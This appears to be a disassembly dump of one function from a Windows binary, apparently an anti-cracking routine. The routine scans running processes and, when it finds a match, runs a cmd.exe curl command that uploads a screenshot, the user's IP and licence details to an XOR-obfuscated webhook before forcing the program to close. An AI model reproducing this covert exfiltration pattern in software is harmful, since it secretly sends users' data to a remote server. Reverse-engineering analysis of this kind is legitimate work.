Function at 0x14001ea50
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x780
movaps xmmword [rax - 0x38], xmm6
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14072a340]
xor rax, rsp
mov qword [rbp + 0x700], rax
xor r12d, r12d
lea rsi, [r12 - 1]
movabs r15, 0x7fffffffffffffff
movabs r13, 0x4e94914effff
nop dword [rax]
mov r14, qword [0x140780550]
lea rcx, [r14 + 0x20]
call fcn.140031cf0
lea rcx, [r14 + 0x60]
call fcn.140031b40
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001ec18
mov dword [rbp + 0x430], 0x238
lea rdx, [rbp + 0x430]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14001ec0f
mov qword [rbp + 0x40], 0x64
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], r12
lea rax, [rbp + 0x45c]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x14001eb32
lea rdx, [rbp + 0x45c]
lea rcx, [rbp + 0x180]
call fcn.140024900
nop
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x260]
lea rcx, [r14 + 0x20]
call fcn.1400327a0
nop
lea rcx, [rbp + 0x180]
call fcn.1400232a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], r12
lea rax, [rbp + 0x45c]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14001eba0
lea rdx, [rbp + 0x45c]
lea rcx, [rbp + 0x1a0]
call fcn.140024900
nop
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x270]
lea rcx, [r14 + 0x60]
call fcn.140032410
mov rcx, qword [rax]
mov eax, dword [rbp + 0x438]
mov dword [rcx + 0x30], eax
lea rcx, [rbp + 0x1a0]
call fcn.1400232a0
lea rcx, [rbp + 0x40]
call fcn.140024090
lea rdx, [rbp + 0x430]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14001eb10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140780550]
call fcn.140027930
cmp al, 1
je 0x14001ecc6
lea rcx, [rbp + 0x670]
call fcn.140006970
mov rax, qword [rbp + 0x670]
movabs rcx, 0x7ffffffdabf41bfe
cmp rax, rcx
jg 0x14001ec5d
movabs rbx, 0x2540be400
add rbx, rax
jmp 0x14001ec60
mov rbx, r15
lea rcx, [rbp + 0x10]
call fcn.140006970
mov rax, qword [rbp + 0x10]
cmp rbx, rax
je 0x14001eab0
jl 0x14001eab0
mov rcx, rbx
sub rcx, rax
cmp rcx, r13
jg 0x14001ecba
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14001ecb1
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x14001ec60
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x14001ec60
call fcn.14000a600
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r12
mov qword [rbp + 0x1d8], r12
mov r8d, 0xa
lea rdx, str.danger.png
lea rcx, [rbp + 0x1c0]
call fcn.140006600
nop
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x410]
call fcn.14000a2e0
nop
lea rcx, [rbp + 0x1c0]
call fcn.1400062c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], r12
mov qword [rbp + 0x348], r12
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetDim
lea rdx, str.curl__F__file1_
lea rcx, [rbp + 0x330]
call fcn.140006600
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], r12
mov r8d, 0xa
lea rdx, str.danger.png
lea rcx, [rbp + 0x350]
call fcn.140006600
nop
movabs rax, 0x3b6cdea109dae5cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x7b0931404535745c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xa9bb70c1b3cbef66
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x82861d52e1c1566d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x7c34798fc67356b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xef3877f72b9553a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x6177baa3b38b2670
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xc556a850d10ea910
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0xe9b0db32c998009e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xc20cf077606a8c41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x4718695761804a75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0xfa5f6e4678c80025
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0xe0147120c4112c1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x364158db153ad17d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0x6b774c1cb64f7d98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0xc7440801a8dba011
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs r14, 0x1443e4d279ae91a3
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs r13, 0x556d432f26461d38
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs rax, 0x86d200a09ca68005
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs rax, 0xf1ed723d89a3331a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
movabs rax, 0x4e024bbef4416797
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
movabs rax, 0x3ccab34b428f600c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0x30f78c87b31649
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
movabs rax, 0xa611e509a244ed7e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movabs rax, 0x989d994a84d96dcb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0x9a6494475300fc20
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rax, 0x722b1a1802c41e2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rax, 0x983b38154f846142
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x85624856f463755f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x5e262ca32d5bfc14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rax, 0xf3c3c24da3e1bf1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
movabs rax, 0xc7440801a8dba066
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x680]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x6a0]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x6c0]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x6e0]
vmovdqa ymmword [rbp + 0x160], ymm1
mov rax, r15
mov rcx, qword [rbp + 0x340]
sub rax, rcx
mov rdx, qword [rbp + 0x360]
cmp rax, rdx
jae 0x14001f123
vzeroupper
call fcn.140005690
int3
lea r9, [rbp + 0x330]
cmp qword [rbp + 0x348], 0xf
cmova r9, qword [rbp + 0x330]
lea rax, [rbp + 0x350]
cmp qword [rbp + 0x368], 0xf
cmova rax, qword [rbp + 0x350]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x330]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x200]
vzeroupper
call fcn.140006740
nop
mov r8d, 2
lea rdx, [0x14054584c]
lea rcx, [rbp + 0x200]
call fcn.140023550
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rax, [rbp + 0x100]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001f1d0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x20]
call fcn.140023550
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x370], xmm0
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x380], xmm6
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0x20]
call fcn.1400062c0
nop
lea rcx, [rbp + 0x200]
call fcn.1400062c0
mov rbx, qword [0x140780538]
lea rdx, [rbx + 0x18]
lea rcx, [rbp + 0x390]
call fcn.140022500
nop
lea rdx, [rbx + 0x38]
lea rcx, [rbp + 0x3b0]
call fcn.140022500
nop
lea rdx, [rbx + 0x58]
lea rcx, [rbp + 0x3d0]
call fcn.140022500
nop
mov rbx, qword [0x140780550]
lea rdx, [rbp + 0x280]
call fcn.140060900
mov rdi, rax
mov rcx, r15
mov rdx, qword [rbp + 0x3a0]
sub rcx, rdx
cmp rcx, 0x288
jae 0x14001f290
call fcn.140005690
int3
lea rax, [rbp + 0x390]
cmp qword [rbp + 0x3a8], 0xf
cmova rax, qword [rbp + 0x390]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x288
lea r9, str._n___________________________________________________embeds_:___n_____________________________________________________n_______________________________________________________title_:__Cracking_tool_detected___n_______________________________________________________description_:__Program_was_forced_to_close___n_______________________________________________________color_:_16724787__n_______________________________________________________fields_:___n_________________________________________________________n___________________________________________________________name_:__User___n___________________________________________________________value_:__
lea r8, [rbp + 0x390]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x240]
call fcn.140006740
nop
mov r8d, 0x156
lea rdx, str.___n___________________________________________________________inline_:_true_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__License___n___________________________________________________________value_:__
lea rcx, [rbp + 0x240]
call fcn.140023550
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 0xf
cmova rdx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3c0]
lea rcx, [rbp + 0xc0]
call fcn.140023550
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 0x14f
lea rdx, str.___n___________________________________________________________inline_:_true_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__IP___n___________________________________________________________value_:__
lea rcx, [rbp + 0xa0]
call fcn.140023550
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rdi
lea r8, [rbp + 0x1e0]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x220]
call fcn.1400258b0
nop
mov r8d, 0x154
lea rdx, str.___n___________________________________________________________inline_:_false_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__Detected___n___________________________________________________________value_:__
lea rcx, [rbp + 0x220]
call fcn.140023550
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14001f44f
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rbp + 0x80]
call fcn.140023550
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 0x15a
lea rdx, [0x140545850]
lea rcx, [rbp + 0xe0]
call fcn.140023550
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x400], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0xe0]
call fcn.1400062c0
nop
lea rcx, [rbp + 0x80]
call fcn.1400062c0
nop
lea rcx, [rbp + 0x220]
call fcn.1400062c0
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400062c0
nop
lea rcx, [rbp + 0xa0]
call fcn.1400062c0
nop
lea rcx, [rbp + 0xc0]
call fcn.1400062c0
nop
lea rcx, [rbp + 0x240]
call fcn.1400062c0
nop
lea rcx, [rbp + 0x280]
call fcn.1400062c0
mov rdi, qword [0x140780538]
lea rax, [rbp + 0x2a0]
mov qword [rbp], rax
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x2a0]
call fcn.140022500
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
mov r8d, 6
lea rdx, str.danger
lea rcx, [rbp + 0x48]
call fcn.140006600
nop
mov r8, rbx
lea rdx, [rbp + 0x48]
mov rcx, rdi
call fcn.1400e6ce0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x320], xmm0
mov dword [rbp + 0x2c0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0x2c4], 0x40
mov qword [rbp + 0x2c8], r12
lea rax, [0x140542b38]
mov qword [rbp + 0x2d0], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x2d8], rax
movq rcx, xmm6
sub r15, rcx
cmp r15, 3
jae 0x14001f61a
call fcn.140005690
int3
lea rax, [rbp + 0x370]
cmp qword [rbp + 0x388], 0xf
cmova rax, qword [rbp + 0x370]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 3
lea r9, [0x140546054]
lea r8, [rbp + 0x370]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x48]
call fcn.140006740
lea rax, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rax, qword [rbp + 0x48]
mov qword [rbp + 0x2e0], rax
lea rcx, [rbp + 0x48]
call fcn.1400062c0
mov qword [rbp + 0x2e8], r12
mov dword [rbp + 0x2f0], r12d
mov qword [rbp + 0x2f8], r12
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x328]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x328]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x646d96b71ec0f0c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0x556d432f26467a56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x10], xmm0
lea rax, [rbp + 0x10]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0x10]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14001f725
mov qword [rbp + 0x78], rsi
movaps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x670], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x20]
call fcn.1400267e0
nop
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 7
cmova rcx, qword [rbp + 0x20]
call fcn.1402cf044
shr rax, 0x20
test eax, eax
je 0x14001f780
lea r8, [rbp + 0x20]
mov edx, eax
lea rcx, [0x1405435d8]
call fcn.140007fa0
nop
lea rcx, [rbp + 0x20]
call fcn.1400232a0
mov byte [0x140780257], 1
lea rcx, [0x140780530]
call fcn.1400f00f0
int3